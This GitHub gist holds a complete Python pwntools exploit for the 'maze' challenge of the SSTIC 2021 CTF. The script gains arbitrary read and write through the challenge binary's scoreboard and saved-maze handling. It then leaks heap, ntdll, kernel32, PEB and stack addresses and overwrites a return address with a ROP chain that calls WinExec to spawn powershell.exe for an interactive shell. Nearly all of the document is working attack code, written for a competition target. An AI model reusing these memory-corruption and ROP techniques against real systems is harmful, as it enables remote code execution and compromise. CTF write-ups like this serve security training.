Created
June 17, 2021 10:12
-
-
Save dialluvioso/26b40b4268350f7691c84ef0dbc83827 to your computer and use it in GitHub Desktop.
Exploit for the maze challenge SSTIC 2021 CTF
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env python3 | |
| # -*- coding: utf-8 -*- | |
| from pwn import * | |
| local = False | |
| if local: | |
| HOST = "localhost" | |
| PORT = 1337 | |
| else: | |
| HOST = "challenge2021.sstic.org" | |
| PORT = 4577 | |
| CLASSIC = 0x1 | |
| MULTIPASS = 0x2 | |
| MULTIPASS_TRAPS = 0x3 | |
| context.log_level = "info" | |
| def register(nickname): | |
| assert(len(nickname) <= 127) | |
| io.sendlineafter("8. Exit\r\n", "1") | |
| io.sendlineafter("Pseudo :\r\n", nickname) | |
| def create_maze(model, width, height, wall_pct, n_traps, score, name): | |
| io.sendlineafter("8. Exit\r\n", "2") | |
| io.sendlineafter("3. Maze multipass with traps\r\n", f"{model}") | |
| io.sendlineafter("Random maze or custom maze ? r/c", "c") | |
| io.sendlineafter("Width odd and greater than 3: ", f"{width}") | |
| io.sendlineafter("Height odd and greater than 3: ", f"{height}") | |
| if model > CLASSIC: | |
| io.sendlineafter("Enter the percentage of wall to remove, default is 5%: ", | |
| f"{wall_pct}") | |
| io.sendlineafter("Number of traps between 0 and 2: ", f"{n_traps}") | |
| io.sendlineafter("Score value for traps: ", f"{score}") | |
| io.sendlineafter("Do you want to save this maze ? y/n ", "y") | |
| io.sendlineafter("What the name of the maze to save ?", name) | |
| def load_maze(name): | |
| io.sendlineafter("8. Exit\r\n", "3") | |
| io.sendlineafter("You can send -1 to come back to the main menu.\r\n", name) | |
| def win_classic_maze(name): | |
| register(name) | |
| io.sendlineafter("8. Exit\r\n", "4") | |
| for _ in range(3): | |
| io.sendline("d") | |
| def win_classic_modified_maze(name): | |
| register(name) | |
| io.sendlineafter("8. Exit\r\n", "4") | |
| io.sendline("z") # capture one trap | |
| io.sendline("s") # rollback | |
| for _ in range(3): | |
| io.sendline("d") | |
| def remove_maze(): | |
| io.sendlineafter("8. Exit\r\n", "5") | |
| io.sendlineafter("y/n ?", "y") | |
| def view_scoreboard(): | |
| io.sendlineafter("8. Exit\r\n", "6") | |
| def get_trap(score, pos, sym, active): | |
| return p64(score) + p16(pos) + p8(sym) + p8(active) | |
| def leak_classic_maze_map(): | |
| view_scoreboard() | |
| # recv until sentinel is found | |
| io.recvuntil(b"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF") | |
| # skip the first byte | |
| io.recv(1) | |
| # recv until delimiter + return | |
| data = io.recvuntil(b"\x29\x0D\x0A", drop=True) | |
| data = data.ljust(8, b"\x00") | |
| return u64(data) | |
| def set_arbitrary_classic_map_write(addr): | |
| remove_maze() | |
| register("exploit") | |
| create_maze(MULTIPASS_TRAPS, 5, 3, 5, 1, -2, "exploit") | |
| payload = b"" | |
| payload += b"A" * 31 # padding | |
| payload += p8(4) # maze type | |
| payload += p8(3) # height | |
| payload += p8(3) # width | |
| payload += b"A" * 9 # map | |
| payload += p8(addr & 0xFF) # number of traps | |
| payload += p64(addr >> 8) # 1st trap score | |
| win_classic_maze(payload) | |
| p = log.progress("winning mazes") | |
| # speed up | |
| for _ in range(31): | |
| win_classic_maze(b"C"*127) | |
| rank = get_highest_rank() | |
| while rank < 32: | |
| p.status(f"{rank}/32") | |
| win_classic_maze(b"C"*127) | |
| rank = get_highest_rank() | |
| p.success("finished!") | |
| assert(rank == 32) | |
| # log.info(f"rank: {rank:d}") | |
| load_maze("exploit.rank") | |
| def set_arbitrary_classic_map(addr): | |
| remove_maze() | |
| register("exploit") | |
| create_maze(MULTIPASS_TRAPS, 5, 3, 5, 1, -2, "exploit") | |
| payload = b"" | |
| payload += b"A" * 31 # padding | |
| payload += p8(4) # maze type | |
| payload += p8(8) # height | |
| payload += p8(8) # width | |
| payload += b"A" * 64 # map | |
| payload += p8(addr & 0xFF) # number of traps | |
| payload += p64(addr >> 8) # 1st trap score | |
| win_classic_maze(payload) | |
| p = log.progress("winning mazes") | |
| for _ in range(31): | |
| win_classic_maze(b"C"*127) | |
| rank = get_highest_rank() | |
| while rank < 32: | |
| p.status(f"{rank}/32") | |
| win_classic_maze(b"C"*127) | |
| rank = get_highest_rank() | |
| p.success("finished!") | |
| assert(rank == 32) | |
| # log.info(f"rank: {rank:d}") | |
| load_maze("exploit.rank") | |
| def get_highest_rank(): | |
| view_scoreboard() | |
| prev = None | |
| data = io.recvline() | |
| while b"-*-*-*-*-*-*-*" not in data: | |
| prev = data | |
| data = io.recvline() | |
| rank = int(prev.split(b".")[0]) | |
| return rank | |
| def read64(addr): | |
| set_arbitrary_classic_map(addr) | |
| io.sendlineafter("8. Exit\r\n", "4") | |
| data = u64(io.recvuntil("\r\n", drop=True)) | |
| io.sendline("x") | |
| return data | |
| def readrange(addr): | |
| set_arbitrary_classic_map(addr-16) | |
| io.sendlineafter("8. Exit\r\n", "4") | |
| ret = list() | |
| data = io.recvuntil(b"-*-*-*-*-*-*-*\r\n", drop=True).split(b"\r\n") | |
| for i in range(2, 8): | |
| ret.append(u64(data[i])) | |
| io.sendline("x") | |
| return ret | |
| def arb_write(addr, value): | |
| set_arbitrary_classic_map_write(addr) | |
| io.sendlineafter("8. Exit\r\n", "7") | |
| io.sendlineafter("Do you want to upgrade to level multipass ? y/n:", "y") | |
| io.sendlineafter("Enter the percentage of wall to remove, default is 5%:", "5") | |
| io.sendlineafter("Do you want to upgrade to level multipass with trap ? y/n:", "y") | |
| io.sendlineafter("Number of traps between 0 and 0:", "0") | |
| io.sendlineafter("Score value for traps:", "0") | |
| io.sendlineafter("Do you want to save this maze ? y/n", "y") | |
| io.sendlineafter("8. Exit\r\n", "7") | |
| io.sendlineafter("Do you want to update traps positions y/n?", "y") | |
| io.sendlineafter("-*-*-*-*-*-*-*", p64(value)) | |
| io.sendline("") | |
| def writerange(addr, values): | |
| set_arbitrary_classic_map(addr) | |
| io.sendlineafter("8. Exit\r\n", "7") | |
| io.sendlineafter("Do you want to upgrade to level multipass ? y/n:", "y") | |
| io.sendlineafter("Enter the percentage of wall to remove, default is 5%:", "5") | |
| io.sendlineafter("Do you want to upgrade to level multipass with trap ? y/n:", "y") | |
| io.sendlineafter("Number of traps between 0 and 10:", "0") | |
| io.sendlineafter("Score value for traps:", "0") | |
| io.sendlineafter("Do you want to save this maze ? y/n", "y") | |
| io.sendlineafter("8. Exit\r\n", "7") | |
| io.sendlineafter("Do you want to update traps positions y/n?", "y") | |
| io.sendlineafter("-*-*-*-*-*-*-*", values) | |
| io.sendline("") | |
| """ | |
| def arb_write(addr, value): | |
| set_arbitrary_classic_map(addr) | |
| io.sendlineafter("8. Exit\r\n", "7") | |
| io.sendlineafter("Do you want to upgrade to level multipass ? y/n:", "y") | |
| io.sendlineafter("Enter the percentage of wall to remove, default is 5%:", "5") | |
| io.sendlineafter("Do you want to upgrade to level multipass with trap ? y/n:", "y") | |
| io.sendlineafter("Number of traps between 0 and", "0") | |
| io.sendlineafter("Score value for traps:", "0") | |
| io.sendlineafter("Do you want to save this maze ? y/n", "y") | |
| io.sendlineafter("8. Exit\r\n", "7") | |
| io.sendlineafter("Do you want to update traps positions y/n?", "y") | |
| io.recvuntil("Please enter new data respecting the format, for example, current data maze is :\r\n") | |
| data = io.recv(64) | |
| io.sendline(p64(value) + data[8:]) | |
| io.sendline("") | |
| """ | |
| import struct | |
| def solve(addr): | |
| badchars = [ 0x00, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x1A, 0x20 ] | |
| addr = struct.pack(">Q", addr) | |
| values = [b for b in addr] | |
| traps = [] | |
| for i in range(len(values)): | |
| if values[i] != 0: | |
| break | |
| print(values) | |
| print("####") | |
| last = -1 | |
| for j in range(i, len(values), 1): | |
| if values[j] in badchars: | |
| temp = [ 0 ] * 8 | |
| if last != -1: | |
| k = last | |
| else: | |
| k = 0 | |
| while k < len(values): | |
| if k > j: | |
| temp[k] = 0xff | |
| else: | |
| temp[k] = values[k] | |
| k += 1 | |
| print(temp) | |
| """ | |
| temp[j] = temp[j] - 1 | |
| last = j+1 | |
| traps.append(int("".join(map(lambda x: f"{x:02x}", temp)), 16)) | |
| for trap in traps: | |
| print(f"{trap:#x}") | |
| """ | |
| io = remote(HOST, PORT) | |
| """ | |
| pay = b"" | |
| for i in range(0x40): | |
| if i == 0: # new terminator | |
| continue | |
| if i == 0x9: # trailing space | |
| continue | |
| if i == 0xa: # new line | |
| continue | |
| if i == 0xb: | |
| continue | |
| if i == 0xc: | |
| continue | |
| if i == 0xd: # return carriage | |
| continue | |
| if i == 0x1a: | |
| continue | |
| if i == 0x20: # white space | |
| continue | |
| pay += p8(i) | |
| """ | |
| def setup(): | |
| io.sendlineafter("8. Exit\r\n", "3") | |
| line = io.recvline() | |
| if b"List of existing mazes" in line: | |
| io.sendline("exploit.maze") | |
| remove_maze() | |
| # #################### AQUI EMPIEZA LA MOVIDA ####################### | |
| io.sendline("") | |
| log.info("starting hax") | |
| register("exp") | |
| setup() | |
| # ================== STEP1 ===================== | |
| create_maze(MULTIPASS_TRAPS, 5, 3, 5, 1, -3, "exploit") | |
| win_classic_maze(b"D"*118) | |
| payload = b"" | |
| payload += p8(CLASSIC) # type | |
| payload += p8(3) # width | |
| payload += p8(3) # height | |
| payload += b"ABCDEFGHI" # map | |
| win_classic_maze(payload) | |
| p = log.progress("winning mazes") | |
| # try to speed up process | |
| for _ in range(125): | |
| win_classic_maze(b"C"*127) | |
| rank = get_highest_rank() | |
| while rank < 128: | |
| p.status(f"{rank}/128") | |
| win_classic_maze(b"C"*127) | |
| rank = get_highest_rank() | |
| p.success("finished!") | |
| load_maze("exploit.rank") | |
| classic_maze_leaked_map = leak_classic_maze_map() | |
| log.success(f"classic maze map address is {classic_maze_leaked_map:#x}") | |
| OFFSET_NTDLL = 0x168E70 | |
| DELTA_START = 0x5ed0 | |
| OFFSET_TEXT = 0x38 | |
| OFFSET_WRITEFILE = 0x7018 | |
| ntdll_InLoadOrderModuleList = 0x16a4d0 | |
| ntdll_PEB = 0x16a448 | |
| kernel32_WriteFile = 0x24fd0 | |
| heap = classic_maze_leaked_map & ~(0x10000-1) | |
| log.info(f"process heap at {heap:#x}") | |
| #ntdll = 0x7fffeca70000 | |
| ntdll = read64(heap+0x2c0) - OFFSET_NTDLL | |
| log.info(f"ntdll mapped at {ntdll:#x}") | |
| InLoadOrderModuleList = read64(ntdll + ntdll_InLoadOrderModuleList) | |
| log.info(f"InLoadOrderModuleList at {InLoadOrderModuleList:#x}") | |
| #amazing = 0x7ff76b3e0000 | |
| amazing = read64(InLoadOrderModuleList + 0x38) - DELTA_START | |
| log.info(f"Amazing.exe mapped at {amazing:#x}") | |
| kernel32 = read64(amazing + OFFSET_WRITEFILE) - kernel32_WriteFile | |
| #kernel32 = 0x7fffeb1f0000 | |
| log.info(f"kernel32 mapped at {kernel32:#x}") | |
| peb = read64(ntdll + ntdll_PEB) - 0x80 | |
| log.info(f"PEB at {peb:#x}") | |
| stack1 = read64(peb + 4096 + 8) | |
| log.info(f"stack1 base is {stack1:#x}") | |
| stack = stack1 - 0x6000 | |
| log.info(f"stack target base is {stack:#x}") | |
| # ================== STEP3 ===================== | |
| #ret = readrange(stack+0x5a08) | |
| #print(ret) | |
| #f = open("log.txt", "wb") | |
| addr = -1 | |
| end = False | |
| p = log.progress("scanning the stack") | |
| for i in range(0x5700, 0x6000, 256): | |
| if end: | |
| break | |
| p.status(f"{i:#x}/0x6000") | |
| for j in range(i+64, i+256, 48): | |
| # f.write(b"reading: %#lx\n" % (stack+j)) | |
| # log.info(f"reading {stack+j:#x}") | |
| ret = readrange(stack+j) | |
| # for addr in ret: | |
| # f.write(b"%#lx\n" % addr) | |
| if amazing+0x5e58 in ret: | |
| for r in range(len(ret)): | |
| if ret[r] == amazing+0x5e58: | |
| addr = r*8+j+stack | |
| p.success("found!") | |
| end = True | |
| break | |
| if addr == -1: | |
| p.failure("couldn't find ret") | |
| sys.exit(-1) | |
| else: | |
| log.info(f"found ret at {addr:#x}") | |
| testing = read64(addr) | |
| log.info(f"RET={testing:#x}") | |
| #offsets = [0x5898,0x5e68,0x5bd8,0x4e38,0x58f8,0x5988,0x5750] | |
| #for offset in offsets: | |
| # if check_ret(offset+stack): | |
| # break | |
| # ================== STEP4 ===================== | |
| writerange(amazing+0xa808, b"powershell.exe\x00") | |
| #writerange(amazing+0xa808, b"cmd.exe\x00") | |
| rop = b"" | |
| rop += p64(amazing+0x12a3) # pop rax | |
| rop += p64(0x38) # just a random offset that doesn't clobber the data | |
| rop += p64(amazing+0x2176) # # mov rcx, qword [rsp+0x40] ; mov byte [rcx+rax], 0x0000006F ; add rsp, 0x38 ; ret | |
| writerange(addr, rop) | |
| rop = b"" | |
| rop += p64(amazing+0x4971) # xor eax, eax ; add rsp, 0x18 ; pop rdi ; pop rsi ; ret | |
| rop += p64(amazing+0xa808) # data pointer | |
| writerange(addr+0x38+0x18, rop) | |
| rop = b"" | |
| rop += p64(amazing+0x6370) # activaze ZF | |
| rop += p64(amazing+0x5D09) # pop rbx ; ret | |
| rop += p64(1) | |
| rop += p64(amazing+0x6291) # cmove rdx, rbx ; mov rax, rdx ; add rsp, 0x20 ; pop rbx ; ret | |
| writerange(addr+0x38+0x20+0x28, rop) | |
| rop = b"" | |
| rop += p64(0xdeadbeefdeadbeef) | |
| rop += p64(kernel32+0x65f80) # win exec | |
| writerange(addr+0x38+0x20+0x28+32+0x20, rop) | |
| #arb_write(addr, amazing+0x5553) | |
| log.info("hijacked ret!!") | |
| #context.log_level = "debug" | |
| io.sendlineafter("8. Exit\r\n", "8") | |
| io.sendline("dir") | |
| io.interactive() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment